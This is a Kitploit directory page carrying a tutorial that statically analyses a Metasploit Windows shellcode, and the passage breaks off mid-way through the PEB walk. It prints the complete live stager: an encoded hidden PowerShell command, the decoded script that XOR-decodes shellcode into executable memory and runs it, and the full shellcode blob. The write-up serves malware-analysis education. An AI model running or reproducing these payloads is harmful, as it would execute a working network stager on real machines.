Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
msf_shellcode_analysis — Análisis estático paso a paso de un shellcode de Windows de Metasploit: decodificación de payload de PowerShell, ofuscación XOR, recorrido de la PEB y resolución de la Tabla de Direcciones de Exportación. | Kitploit
Herramientas/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Análisis EstáticoIngeniería InversaShellcodeAnálisis de MalwareAnálisis de BinariosAprendizaje y Educación
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Análisis estático paso a paso de un shellcode de Windows de Metasploit: decodificación de payload de PowerShell, ofuscación XOR, recorrido de la PEB y resolución de la Tabla de Direcciones de Exportación.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
283hace 1 mesRevisado por Kitploit

Análisis estático de un shellcode de Metasploit

Para una primera entrada de blog, pensé que sería bueno analizar un shellcode común de Metasploit: es una gran oportunidad para tratar temas como codificación, PEB, shellcodes de Windows y tablas de direcciones de exportación.

Para empezar

Empezamos con una línea de comandos larga e interceptada:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
Esta es una línea de comandos de PowerShell codificada en [base64](https://en.wikipedia.org/wiki/Base64) (indicada por la bandera `-encodedcommand`). Al decodificarla, se ve así:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Este payload realiza otra decodificación base64 (de la parte que comienza con "H4sIA...") y la guarda en un flujo de memoria ($s). Luego lo trata como un flujo comprimido (gzip), lo descomprime y ejecuta el contenido (con IEX). Es bastante fácil descomprimirlo: puedes usar PowerShell, CyberChef o incluso Python:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
La salida contiene más comandos de PowerShell, esta vez con una lógica más compleja:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Let's break it down:

  • The $DoIt variable contains most of the logic. It defines a function called func_get_proc_address that is just a wrapper to kernel32!GetProcAddress, and uses the func_get_delegate_type function to get a reflective delegate.
  • The $var_code variable is yet another (!) base64 payload, but this time it's less obvious - trying to decode it naively yields garbage.
  • The $var_code variable is XOR-ed byte by byte with the value 35. This already explains why decoding it yields no strings, but even after XORing - it still doesn't look promising without the right context.
  • The next couple of lines allocate a buffer with the kernel32!VirtualAlloc function. It is invoked to allocate a buffer (saved in $var_buffer) with flAllocationType=0x3000 and flProtect=0x40. Looking at MSDN reveals that the allocation type is and the page protection is .

That tells us that the base64-encoded payload should be treated as a 32-bit shellcode. Let us analyze it statically again by XORing it and writing it to a binary file:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
Aquí es donde comienza la diversión. Puedes usar tu desensamblador favorito (IDA, Binary Ninja, etc.).
Incluso hay algunos excelentes [desensambladores en línea](https://shell-storm.org/online/Online-Assembler-and-Disassembler) a tu disposición si no te importa el opsec.
El inicio del shellcode está en el offset 0 y el código debe tratarse como código X86.

## Recorriendo el PEB
El código comienza con una instrucción CALL:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

The cld instruction clears the direction flag (so string operations such as movsb move forward and not backward), and then performs a relative call to 0x8f. Since call pushes the next instruction to the stack, we remember that the stack was pushed with the address that is at offset 6 in the shellcode. Let us examine the code at offset 0x8f:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
Inmediatamente, usar un `pop` para guardar la dirección es un truco común de shellcoding (secuencia `call-pop`).
Los siguientes `push` son interesantes: en apariencia parecen constantes extrañas, pero al decodificarlas como cadenas ANSI se revela algo interesante:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

Dado que estamos examinando operaciones push en la pila, tuve que extraerlas en orden inverso y asegurarme de usar Little Endian (ese es el símbolo < en el código). Esto imprime b'wininet\x00', que es el nombre de una DLL de Windows utilizada para comunicaciones por Internet. Ten en cuenta que push esp empujará la dirección de la parte superior de la pila, lo cual es una buena forma de obtener un puntero a la cadena terminada en NUL wininet. Continuando, empujamos otra constante (0x726774c), que no se decodifica a nada significativo, y llamamos a ebp. Recuerda que ebp apunta a un fragmento de código en el offset 6 desde el comienzo del shellcode, ¡así que examinemos esa parte!

El código en el offset 6 comienza con algunas instrucciones interesantes:```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
Tras un prólogo sencillo (empujando todos los registros y creando un nuevo marco de pila), vemos que `edx` se anula (auto-XOR).
Luego, `edx` obtiene la dirección de `fs:[0x30]`. Esta dirección es el [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
